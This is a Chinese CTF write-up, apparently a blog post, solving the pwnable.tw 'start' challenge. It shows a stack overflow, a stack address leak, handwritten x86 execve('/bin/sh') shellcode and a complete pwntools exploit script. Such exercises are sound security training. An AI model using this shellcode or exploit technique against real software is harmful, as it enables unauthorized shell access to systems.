pwnable.tw | 第1题start
### 前言
咱又开始刷题了,都说pwnable.tw质量高,那这次就找它吧,从第一题刷起
分析
IDA打开,就这么一小段汇编,压了个字符串,write打印出来,再read读入3C个字节,溢出了0x3C-0x14个字节,可以覆盖返回地址以下的栈上内容
eax和ebx都控制不了,ret2syscall行不通,checksec看了下未开NX,那直接ret2shellcode
利用
先溢出一次覆盖返回地址,打向0x8048087,write会把当前栈上的内容打印出来,从而泄露栈地址,再次read溢出覆盖返回地址为栈地址,并将shellcode写入栈中,ret后getshell
shellcode功能是进行execve系统调用
execve("/bin/sh",NULL,NULL)
Pwntools提供的shellcode过长无法使用,可以自己写一个,需要注意避开"\x00"截断
xor ecx,ecx
xor edx,edx
push edx ;避开\x00截断字符串
push 0x68732f6e ; 'n/sh'
push 0x69622f2f ; '//bi'
mov ebx,esp
mov al,0xb
int 0x80
EXP如下
from pwn import *
context.log_level="debug"
p = process('./start')
payload = 'A'*0x14 + p32(0x8048087)
p.sendafter("Let's start the CTF:",payload)
stack_addr = u32(p.recv(4))
print 'stack_addr: '+hex(stack_addr)
#shellcode='\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
shellcode = asm('xor ecx,ecx;xor edx,edx;push edx;push 0x68732f6e;push 0x69622f2f ;mov ebx,esp;mov al,0xb;int 0x80')
payload = 'A'*0x14 + p32(stack_addr+0x14)+shellcode
p.send(payload)
p.interactive()
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 地球OL攻略 —— 某应届生求职总结
· 提示词工程——AI应用必不可少的技术
· Open-Sora 2.0 重磅开源!
· 周边上新:园子的第一款马克杯温暖上架